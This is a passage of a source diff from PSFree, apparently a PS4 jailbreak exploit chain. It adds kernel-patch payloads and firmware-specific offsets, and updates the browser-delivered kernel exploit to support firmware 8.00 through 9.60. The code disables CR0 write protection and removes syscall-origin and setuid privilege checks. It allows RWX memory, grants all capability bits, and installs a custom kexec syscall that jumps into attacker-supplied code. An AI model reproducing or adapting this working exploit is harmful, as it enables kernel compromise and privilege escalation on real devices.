// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1662da, 0x37);
write8(kbase, 0x1662dd, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b34f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221810, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/950.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x122d7a, 0x37);
write8(kbase, 0x122d7d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x196d3d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x19fedf, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x11960, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1fa536, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10f9500;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -1,27 +1,21 @@
TARGET = 80x TARGET_VERSIONS = 800 850 900 903 950
ENTRY = 0x900000000
src = $(TARGET).c
CC = gcc CC = gcc
CFLAGS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles OBJCOPY = objcopy
CFLAGS += -fwrapv -no-pie -Ttext=$(ENTRY) -Tscript.ld -Wl,--build-id=none CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
CFLAGS += -fwrapv-pointer -std=gnu11
.PHONY: all .PHONY: all
all: $(TARGET).elf ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o)
ALL_BINS = $(TARGET_VERSIONS:%=%.bin)
$(TARGET).elf: $(TARGET).o all: $(ALL_BINS)
$(CC) $(TARGET).o -o $(TARGET).elf $(CFLAGS)
%.bin: %.o
$(CC) $< -o $*.elf $(CFLAGS)
$(OBJCOPY) -O binary --only-section=.text $*.elf $@
-rm -f $*.elf
.PHONY: clean .PHONY: clean
clean: clean:
-rm -f *.d *.o *.elf -rm -f $(ALL_OBJECTS) $(ALL_BINS)
%.d: %.c
@set -e; \
rm -f $@; \
$(CC) -MM $(CPPFLAGS) $< > $@.$$$$; \
sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
rm -f $@.$$$$;
include $(src:.c=.d)

View File

@@ -1,8 +1,6 @@
SECTIONS OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
{ OUTPUT_ARCH(i386:x86-64)
.text : { *(.text.start) *(.text) }
.rodata : { *(.rodata) } PHDRS { code_seg PT_LOAD; }
.data : { *(.data) }
.bss : { *(.bss) } SECTIONS { .text : { *(.text.start) *(.text*) } : code_seg }
/DISCARD/ : { *(.comment* .note*) }
}

View File

@@ -21,14 +21,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
#include "types.h" #include "types.h"
inline u64 rdmsr(u32 msr) { static inline u64 rdmsr(u32 msr) {
u32 low, high; u32 low, high;
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr)); asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
return (low | ((u64)high << 32)); return (low | ((u64)high << 32));
} }
inline void enable_cr0_wp(void) { static inline void enable_cr0_wp(void) {
asm( asm(
"mov rax, cr0\n" "mov rax, cr0\n"
"or rax, 0x10000\n" "or rax, 0x10000\n"
@@ -36,7 +36,7 @@ inline void enable_cr0_wp(void) {
::: "rax"); ::: "rax");
} }
inline void disable_cr0_wp(void) { static inline void disable_cr0_wp(void) {
asm( asm(
"mov rax, cr0\n" "mov rax, cr0\n"
"and rax, ~0x10000\n" "and rax, ~0x10000\n"
@@ -44,18 +44,18 @@ inline void disable_cr0_wp(void) {
::: "rax"); ::: "rax");
} }
inline void write8(void *addr, size_t offset, u8 value) { static inline void write8(void *addr, size_t offset, u8 value) {
*(u8 *)(addr + offset) = value; *(u8 *)(addr + offset) = value;
} }
inline void write16(void *addr, size_t offset, u16 value) { static inline void write16(void *addr, size_t offset, u16 value) {
*(u16 *)(addr + offset) = value; *(u16 *)(addr + offset) = value;
} }
inline void write32(void *addr, size_t offset, u32 value) { static inline void write32(void *addr, size_t offset, u32 value) {
*(u32 *)(addr + offset) = value; *(u32 *)(addr + offset) = value;
} }
inline void write64(void *addr, size_t offset, u64 value) { static inline void write64(void *addr, size_t offset, u64 value) {
*(u64 *)(addr + offset) = value; *(u64 *)(addr + offset) = value;
} }

View File

@@ -1,4 +1,5 @@
/* Copyright (C) 2025 anonymous /* Copyright (C) 2025 anonymous
This file is part of PSFree. This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify PSFree is free software: you can redistribute it and/or modify
@@ -24,21 +25,29 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// * RESTORE - code will repair kernel panic vulnerability // * RESTORE - code will repair kernel panic vulnerability
// * MEMLEAK - memory leaks that our code will induce // * MEMLEAK - memory leaks that our code will induce
import { Int } from '/module/int64.mjs'; import { Int } from './module/int64.mjs';
import { mem } from '/module/mem.mjs'; import { mem } from './module/mem.mjs';
import { log, die, hex, hexdump } from '/module/utils.mjs'; import { clear_log, log, die, hex, hexdump } from './module/utils.mjs';
import { cstr, jstr } from '/module/memtools.mjs'; import { cstr, jstr } from './module/memtools.mjs';
import { page_size, context_size } from '/module/offset.mjs'; import { page_size, context_size } from './module/offset.mjs';
import { Chain } from '/module/chain.mjs'; import { Chain } from './module/chain.mjs';
import { import {
View1, View2, View4, View1, View2, View4,
Word, Long, Pointer, Word, Long, Pointer,
Buffer, Buffer,
} from '/module/view.mjs'; } from './module/view.mjs';
import * as rop from '/module/chain.mjs'; import * as rop from './module/chain.mjs';
import * as config from '/config.mjs'; import * as config from './config.mjs';
// Static imports for firmware configurations
import * as fw_ps4_800 from './lapse/ps4/800.mjs';
import * as fw_ps4_850 from './lapse/ps4/850.mjs';
import * as fw_ps4_852 from './lapse/ps4/852.mjs';
import * as fw_ps4_900 from './lapse/ps4/900.mjs';
import * as fw_ps4_903 from './lapse/ps4/903.mjs';
import * as fw_ps4_950 from './lapse/ps4/950.mjs';
const t1 = performance.now(); const t1 = performance.now();
@@ -62,6 +71,35 @@ const [is_ps4, version] = (() => {
return [is_ps4, version]; return [is_ps4, version];
})(); })();
// Set per-console/per-firmware offsets
const fw_config = (() => {
if (is_ps4) {
if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03
return fw_ps4_800;
} else if (0x850 <= version && version < 0x852) { // 8.50
return fw_ps4_850;
} else if (0x852 <= version && version < 0x900) { // 8.52
return fw_ps4_852;
} else if (0x900 <= version && version < 0x903) { // 9.00
return fw_ps4_900;
} else if (0x903 <= version && version < 0x950) { // 9.03, 9.04
return fw_ps4_903;
} else if (0x950 <= version && version < 0x1000) { // 9.50, 9.51, 9.60
return fw_ps4_950;
}
} else {
// TODO: PS5
}
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
})();
const pthread_offsets = fw_config.pthread_offsets;
const off_kstr = fw_config.off_kstr;
const off_cpuid_to_pcpu = fw_config.off_cpuid_to_pcpu;
const off_sysent_661 = fw_config.off_sysent_661;
const jmp_rsi = fw_config.jmp_rsi;
const patch_elf_loc = fw_config.patch_elf_loc;
// sys/socket.h // sys/socket.h
const AF_UNIX = 1; const AF_UNIX = 1;
const AF_INET = 2; const AF_INET = 2;
@@ -144,16 +182,6 @@ async function init() {
await rop.init(); await rop.init();
chain = new Chain(); chain = new Chain();
// TODO assumes ps4 8.0x
const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25610,
'pthread_join' : 0x27c60,
'pthread_barrier_init' : 0xa0e0,
'pthread_barrier_wait' : 0x1ee00,
'pthread_barrier_destroy' : 0xe180,
'pthread_exit' : 0x19eb0,
}));
rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base); rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
} }
@@ -1104,7 +1132,7 @@ function double_free_reqs1(
} }
} }
if (sd === null) { if (sd === null) {
die("can't find sd that overwrote AIO queue entry"); die('can\'t find sd that overwrote AIO queue entry');
} }
log(`sd: ${sd}`); log(`sd: ${sd}`);
@@ -1240,15 +1268,11 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
die('test read of &"evf cv" failed'); die('test read of &"evf cv" failed');
} }
// TODO FW dependent parts! assume ps4 8.0x for now
const off_kstr = 0x7edcff;
const kbase = kernel_addr.sub(off_kstr); const kbase = kernel_addr.sub(off_kstr);
log(`kernel base: ${kbase}`); log(`kernel base: ${kbase}`);
log('\nmaking arbitrary kernel read/write'); log('\nmaking arbitrary kernel read/write');
const cpuid = 7 - main_core; const cpuid = 7 - main_core;
const off_cpuid_to_pcpu = 0x228e6b0;
const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8); const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`); log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
const pcpu = kread64(pcpu_p); const pcpu = kread64(pcpu_p);
@@ -1486,7 +1510,7 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
// FUNCTIONS FOR STAGE: PATCH KERNEL // FUNCTIONS FOR STAGE: PATCH KERNEL
async function get_patches(url) { async function get_binary(url) {
const response = await fetch(url); const response = await fetch(url);
if (!response.ok) { if (!response.ok) {
throw Error( throw Error(
@@ -1496,37 +1520,33 @@ async function get_patches(url) {
return response.arrayBuffer(); return response.arrayBuffer();
} }
// TODO 8.0x supported only
async function patch_kernel(kbase, kmem, p_ucred, restore_info) { async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
if (!is_ps4) { if (!is_ps4) {
throw RangeError('PS5 kernel patching unsupported'); throw RangeError('ps5 kernel patching unsupported');
} }
if (!(0x800 <= version < 0x850)) { if (!(0x800 <= version && version < 0x1000)) { // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60
throw RangeError('kernel patching unsupported'); throw RangeError('kernel patching unsupported');
} }
log('change sys_aio_submit() to sys_kexec()'); log('change sys_aio_submit() to sys_kexec()');
// sysent[661] is unimplemented so free for use // sysent[661] is unimplemented so free for use
const offset_sysent_661 = 0x11040c0; const sysent_661 = kbase.add(off_sysent_661);
const sysent_661 = kbase.add(offset_sysent_661);
// .sy_narg = 6 // .sy_narg = 6
kmem.write32(sysent_661, 6); kmem.write32(sysent_661, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]'] // .sy_call = gadgets['jmp qword ptr [rsi]']
kmem.write64(sysent_661.add(8), kbase.add(0xe629c)); kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
// .sy_thrcnt = SY_THR_STATIC // .sy_thrcnt = SY_THR_STATIC
kmem.write32(sysent_661.add(0x2c), 1); kmem.write32(sysent_661.add(0x2c), 1);
log('add JIT capabilities'); log('add JIT capabilities');
// TODO just set the bits for JIT privs // TODO: Just set the bits for JIT privs
// cr_sceCaps[0] // cr_sceCaps[0]
kmem.write64(p_ucred.add(0x60), -1); kmem.write64(p_ucred.add(0x60), -1);
// cr_sceCaps[1] // cr_sceCaps[1]
kmem.write64(p_ucred.add(0x68), -1); kmem.write64(p_ucred.add(0x68), -1);
const buf = await get_patches('/kpatch/80x.elf'); const buf = await get_binary(patch_elf_loc);
// FIXME handle .bss segment properly const patches = new View1(await buf);
// assume start of loadable segments is at offset 0x1000
const patches = new View1(await buf, 0x1000);
let map_size = patches.size; let map_size = patches.size;
const max_size = 0x10000000; const max_size = 0x10000000;
if (map_size > max_size) { if (map_size > max_size) {
@@ -1535,6 +1555,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
if (map_size === 0) { if (map_size === 0) {
die('patch file size is zero'); die('patch file size is zero');
} }
log(`kpatch size: ${map_size} bytes`);
map_size = map_size+page_size & -page_size; map_size = map_size+page_size & -page_size;
const prot_rwx = 7; const prot_rwx = 7;
@@ -1673,7 +1694,7 @@ export async function kexploit() {
get_our_affinity(main_mask); get_our_affinity(main_mask);
log(`main_mask: ${main_mask}`); log(`main_mask: ${main_mask}`);
log("setting main thread's priority"); log('setting main thread\'s priority');
sysi('rtprio_thread', RTP_SET, 0, rtprio.addr); sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
const [block_fd, unblock_fd] = (() => { const [block_fd, unblock_fd] = (() => {

35
src/lapse/ps4/800.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25610,
'pthread_join' : 0x27c60,
'pthread_barrier_init' : 0xa0e0,
'pthread_barrier_wait' : 0x1ee00,
'pthread_barrier_destroy' : 0xe180,
'pthread_exit' : 0x19eb0,
}));
export const off_kstr = 0x7edcff;
export const off_cpuid_to_pcpu = 0x228e6b0;
export const off_sysent_661 = 0x11040c0;
export const jmp_rsi = 0xe629c;
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/850.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d50,
'pthread_barrier_init' : 0x283c0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25310,
}));
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/852.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.52
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0xebb0,
'pthread_join' : 0x29d60,
'pthread_barrier_init' : 0x283d0,
'pthread_barrier_wait' : 0xb8c0,
'pthread_barrier_destroy' : 0x9c10,
'pthread_exit' : 0x25320,
}));
export const off_kstr = 0x7da91c;
export const off_cpuid_to_pcpu = 0x1cfc240;
export const off_sysent_661 = 0x11041b0;
export const jmp_rsi = 0xc810d;
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/900.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const off_kstr = 0x7f6f27;
export const off_cpuid_to_pcpu = 0x21ef2a0;
export const off_sysent_661 = 0x1107f00;
export const jmp_rsi = 0x4c7ad;
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/903.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.03, 9.04
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x25510,
'pthread_join' : 0xafa0,
'pthread_barrier_init' : 0x273d0,
'pthread_barrier_wait' : 0xa320,
'pthread_barrier_destroy' : 0xfea0,
'pthread_exit' : 0x77a0,
}));
export const off_kstr = 0x7f4ce7;
export const off_cpuid_to_pcpu = 0x21eb2a0;
export const off_sysent_661 = 0x1103f00;
export const jmp_rsi = 0x5325b;
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`

35
src/lapse/ps4/950.mjs Normal file
View File

@@ -0,0 +1,35 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
export const pthread_offsets = new Map(Object.entries({
'pthread_create' : 0x1c540,
'pthread_join' : 0x9560,
'pthread_barrier_init' : 0x24200,
'pthread_barrier_wait' : 0x1efb0,
'pthread_barrier_destroy' : 0x19450,
'pthread_exit' : 0x28ca0,
}));
export const off_kstr = 0x769a88;
export const off_cpuid_to_pcpu = 0x21a66c0;
export const off_sysent_661 = 0x1100ee0;
export const jmp_rsi = 0x15a6d;
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`

View File

View File

@@ -19,7 +19,7 @@ import { Int, lohi_from_one } from './int64.mjs';
import { get_view_vector } from './memtools.mjs'; import { get_view_vector } from './memtools.mjs';
import { Addr } from './mem.mjs'; import { Addr } from './mem.mjs';
import * as config from '/config.mjs'; import * as config from '../config.mjs';
// put the sycall names that you want to use here // put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({ export const syscall_map = new Map(Object.entries({
@@ -542,7 +542,7 @@ export function get_gadget(map, insn_str) {
function load_fw_specific(version) { function load_fw_specific(version) {
if (version & 0x10000) { if (version & 0x10000) {
throw RangeError('ps5 not supported yet'); throw RangeError('PS5 not supported yet');
} }
const value = version & 0xffff; const value = version & 0xffff;
@@ -550,14 +550,26 @@ function load_fw_specific(version) {
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with // which can be annoying to deal with
if (value < 0x700) { if (value < 0x700) {
throw RangeError("PS4 firmwares < 7.00 isn't supported"); throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
} }
if (0x800 <= value && value < 0x850) { if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
return import('/rop/800.mjs'); return import('../rop/ps4/800.mjs');
} }
throw RangeError('firmware not supported'); if (0x850 <= value && value < 0x900) { // 8.50, 8.52
return import('../rop/ps4/850.mjs');
}
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
return import('../rop/ps4/900.mjs');
}
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
return import('../rop/ps4/950.mjs');
}
throw RangeError('Firmware not supported');
} }
export let gadgets = null; export let gadgets = null;

View File

@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */ along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from '/module/int64.mjs'; import { Int, lohi_from_one } from './int64.mjs';
import { Addr } from '/module/mem.mjs'; import { Addr } from './mem.mjs';
import { BufferView } from '/module/rw.mjs'; import { BufferView } from './rw.mjs';
import * as config from '/config.mjs'; import * as config from '../config.mjs';
import * as mt from '/module/memtools.mjs'; import * as mt from './memtools.mjs';
// View constructors will always get the buffer property in order to make sure // View constructors will always get the buffer property in order to make sure
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if // that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
@@ -76,8 +76,8 @@ function ViewMixin(superclass) {
// isn't one of the built-in TypedArrays. this is a violation of the // isn't one of the built-in TypedArrays. this is a violation of the
// ECMAScript spec at that time // ECMAScript spec at that time
// //
// TODO assumes ps4, support ps5 as well // TODO: Assumes PS4, support PS5 as well
// FIXME define the from/of workaround functions once // FIXME: Define the from/of workaround functions once
if (0x600 <= config.target && config.target < 0x1000) { if (0x600 <= config.target && config.target < 0x1000) {
res.from = function from(...args) { res.from = function from(...args) {
const base = this.__proto__; const base = this.__proto__;

View File

@@ -33,10 +33,10 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// * Helped in figuring out the size of JSC::ArrayBufferContents and its // * Helped in figuring out the size of JSC::ArrayBufferContents and its
// needed offsets on different firmwares (PS5). // needed offsets on different firmwares (PS5).
import { Int } from '/module/int64.mjs'; import { Int } from './module/int64.mjs';
import { Memory } from '/module/mem.mjs'; import { Memory } from './module/mem.mjs';
import { KB, MB } from '/module/offset.mjs'; import { KB, MB } from './module/offset.mjs';
import { BufferView } from '/module/rw.mjs'; import { BufferView } from './module/rw.mjs';
import { import {
die, die,
@@ -46,10 +46,10 @@ import {
sleep, sleep,
hex, hex,
align, align,
} from '/module/utils.mjs'; } from './module/utils.mjs';
import * as config from '/config.mjs'; import * as config from './config.mjs';
import * as off from '/module/offset.mjs'; import * as off from './module/offset.mjs';
// check if we are running on a supported firmware version // check if we are running on a supported firmware version
const [is_ps4, version] = (() => { const [is_ps4, version] = (() => {
@@ -72,18 +72,22 @@ const [is_ps4, version] = (() => {
})(); })();
const ssv_len = (() => { const ssv_len = (() => {
